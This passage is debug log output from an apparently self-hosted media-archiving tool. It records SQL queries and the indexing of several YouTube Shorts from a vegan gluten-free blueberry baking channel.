m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:15.608 [debug] QUERY OK source="media_items" db=0.1ms idle=10.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [698] 20:28:15.609 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Come on, everyone knows you can't trust what Walter White from Breaking Bad might put in your blueberry muffin. I wouldn't eat his blueberry muffins but you should definitely subscribe and stay tuned for my vegan and gluten free blueberry muffins launching on the channel later this week!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts/Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts [qK_B5Byj1rM].NA", "id" => "qK_B5Byj1rM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/qK_B5Byj1rM", "playlist_index" => 310, "timestamp" => 1657819809, "title" => "Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts", "upload_date" => "20220714"} 20:28:15.610 [debug] QUERY OK source="sources" db=0.7ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:15.610 [debug] QUERY OK source="sources" db=0.4ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:15.613 [debug] QUERY OK source="media_items" db=2.1ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-14 17:30:09Z], 1] 20:28:15.615 [debug] QUERY OK source="media_items" db=1.8ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Come on, everyone knows you can't trust what Walter White from Breaking Bad might put in your blueberry muffin. I wouldn't eat his blueberry muffins but you should definitely subscribe and stay tuned for my vegan and gluten free blueberry muffins launching on the channel later this week!", "Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts", "5e09cdb4-465f-44f8-b4c9-5b7441fb827e", 1, [], 15, false, "qK_B5Byj1rM", "https://www.youtube.com/shorts/qK_B5Byj1rM", 310, "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts/Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts [qK_B5Byj1rM].NA", false, false, true, 1, ~U[2022-07-14 17:30:09Z], ~U[2026-03-22 03:28:15Z], ~U[2026-03-22 03:28:15Z], "Come on, everyone knows you can't trust what Walter White from Breaking Bad might put in your blueberry muffin. I wouldn't eat his blueberry muffins but you should definitely subscribe and stay tuned for my vegan and gluten free blueberry muffins launching on the channel later this week!", "Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts", 1, 15, false, "qK_B5Byj1rM", "https://www.youtube.com/shorts/qK_B5Byj1rM", "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts/Do you eat the Walter White blueberry muffin? 🫐 #shorts #youtubeshorts [qK_B5Byj1rM].NA", true, ~U[2022-07-14 17:30:09Z]] 20:28:15.616 [debug] QUERY OK source="sources" db=0.4ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:15.616 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:15.617 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [699] 20:28:15.617 [debug] Current batch of media processed. Will check again in 1000ms 20:28:16.618 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Show me your bluebies! 🫐 Blueberry Season has arrived us and I am HERE for it! I’ve got some delicious recipes up my sleeve and can’t wait to show you how to use up these summer gems, so stay tuned and go get some fresh BC Blueberries while they're still here!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Everyone loves bluebies! 🫐/Everyone loves bluebies! 🫐 [OITu40uqXQI].NA", "id" => "OITu40uqXQI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OITu40uqXQI", "playlist_index" => 311, "timestamp" => 1657814429, "title" => "Everyone loves bluebies! 🫐", "upload_date" => "20220714"} 20:28:16.619 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:16.620 [debug] QUERY OK source="sources" db=0.3ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:16.622 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-14 16:00:29Z], 1] 20:28:16.624 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Show me your bluebies! 🫐 Blueberry Season has arrived us and I am HERE for it! I’ve got some delicious recipes up my sleeve and can’t wait to show you how to use up these summer gems, so stay tuned and go get some fresh BC Blueberries while they're still here!", "Everyone loves bluebies! 🫐", "34ca17ee-39ad-4b5a-9ba3-6b93a43bcd08", 1, [], 15, false, "OITu40uqXQI", "https://www.youtube.com/shorts/OITu40uqXQI", 311, "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Everyone loves bluebies! 🫐/Everyone loves bluebies! 🫐 [OITu40uqXQI].NA", false, false, true, 2, ~U[2022-07-14 16:00:29Z], ~U[2026-03-22 03:28:16Z], ~U[2026-03-22 03:28:16Z], "Show me your bluebies! 🫐 Blueberry Season has arrived us and I am HERE for it! I’ve got some delicious recipes up my sleeve and can’t wait to show you how to use up these summer gems, so stay tuned and go get some fresh BC Blueberries while they're still here!", "Everyone loves bluebies! 🫐", 1, 15, false, "OITu40uqXQI", "https://www.youtube.com/shorts/OITu40uqXQI", "/downloads/downloads/alec/Steamy Vegan/2022-07-14 Everyone loves bluebies! 🫐/Everyone loves bluebies! 🫐 [OITu40uqXQI].NA", true, ~U[2022-07-14 16:00:29Z]] 20:28:16.625 [debug] QUERY OK source="sources" db=0.6ms idle=320.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:16.625 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:16.627 [debug] QUERY OK source="media_items" db=1.0ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [700] 20:28:16.627 [debug] Current batch of media processed. Will check again in 1000ms 20:28:17.628 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I've been recipe testing vegan and gluten free blueberry muffin recipes all week and I've created something really special. I'm so excited to share my vegan and gluten free blueberry muffins with you sometime later this week.\n\nMake sure to subscribe so you don't miss this video on my channel! Thanks for your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts/Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts [j_-A_qgUzSs].NA", "id" => "j_-A_qgUzSs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/j_-A_qgUzSs", "playlist_index" => 312, "timestamp" => 1657753230, "title" => "Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts", "upload_date" => "20220713"} 20:28:17.629 [debug] QUERY OK source="sources" db=0.4ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:17.630 [debug] QUERY OK source="sources" db=0.6ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:17.632 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-13 23:00:30Z], 1] 20:28:17.633 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've been recipe testing vegan and gluten free blueberry muffin recipes all week and I've created something really special. I'm so excited to share my vegan and gluten free blueberry muffins with you sometime later this week.\n\nMake sure to subscribe so you don't miss this video on my channel! Thanks for your support! Janelle", "Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts", "5e772e0a-d11a-4f19-9cd9-d384234faa4d", 1, [], 13, false, "j_-A_qgUzSs", "https://www.youtube.com/shorts/j_-A_qgUzSs", 312, "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts/Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts [j_-A_qgUzSs].NA", false, false, true, 0, ~U[2022-07-13 23:00:30Z], ~U[2026-03-22 03:28:17Z], ~U[2026-03-22 03:28:17Z], "I've been recipe testing vegan and gluten free blueberry muffin recipes all week and I've created something really special. I'm so excited to share my vegan and gluten free blueberry muffins with you sometime later this week.\n\nMake sure to subscribe so you don't miss this video on my channel! Thanks for your support! Janelle", "Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts", 1, 13, false, "j_-A_qgUzSs", "https://www.youtube.com/shorts/j_-A_qgUzSs", "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts/Epic 4 Bite Vegan Gluten Free Blueberry Muffins 💙🤤🫐#shorts #youtubeshorts [j_-A_qgUzSs].NA", true, ~U[2022-07-13 23:00:30Z]] 20:28:17.634 [debug] QUERY OK source="sources" db=0.3ms idle=325.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:17.635 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:17.635 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [701] 20:28:17.635 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's blueberry season and I've been cooking up all kinds of vegan and gluten free recipes in my kitchen. Over the next few weeks I'll be launching several blueberry vegan and gluten free recipe videos.\n\nMake sure to subscribe so you don't miss any of these recipes! Thanks for your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Check out my bluebs! 🫐 #shorts #youtubeshorts/Check out my bluebs! 🫐 #shorts #youtubeshorts [v7dauehtg3M].NA", "id" => "v7dauehtg3M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/v7dauehtg3M", "playlist_index" => 313, "timestamp" => 1657732501, "title" => "Check out my bluebs! 🫐 #shorts #youtubeshorts", "upload_date" => "20220713"} 20:28:17.636 [debug] QUERY OK source="sources" db=0.6ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:17.637 [debug] QUERY OK source="sources" db=0.4ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:17.639 [debug] QUERY OK source="media_items" db=1.7ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-13 17:15:01Z], 1] 20:28:17.640 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's blueberry season and I've been cooking up all kinds of vegan and gluten free recipes in my kitchen. Over the next few weeks I'll be launching several blueberry vegan and gluten free recipe videos.\n\nMake sure to subscribe so you don't miss any of these recipes! Thanks for your support! Janelle", "Check out my bluebs! 🫐 #shorts #youtubeshorts", "6a63c71b-56bb-490c-9c29-c7a028e96b86", 1, [], 14, false, "v7dauehtg3M", "https://www.youtube.com/shorts/v7dauehtg3M", 313, "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Check out my bluebs! 🫐 #shorts #youtubeshorts/Check out my bluebs! 🫐 #shorts #youtubeshorts [v7dauehtg3M].NA", false, false, true, 1, ~U[2022-07-13 17:15:01Z], ~U[2026-03-22 03:28:17Z], ~U[2026-03-22 03:28:17Z], "It's blueberry season and I've been cooking up all kinds of vegan and gluten free recipes in my kitchen. Over the next few weeks I'll be launching several blueberry vegan and gluten free recipe videos.\n\nMake sure to subscribe so you don't miss any of these recipes! Thanks for your support! Janelle", "Check out my bluebs! 🫐 #shorts #youtubeshorts", 1, 14, false, "v7dauehtg3M", "https://www.youtube.com/shorts/v7dauehtg3M", "/downloads/downloads/alec/Steamy Vegan/2022-07-13 Check out my bluebs! 🫐 #shorts #youtubeshorts/Check out my bluebs! 🫐 #shorts #youtubeshorts [v7dauehtg3M].NA", true, ~U[2022-07-13 17:15:01Z]] 20:28:17.641 [debug] QUERY OK source="sources" db=0.4ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:17.641 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:17.642 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false 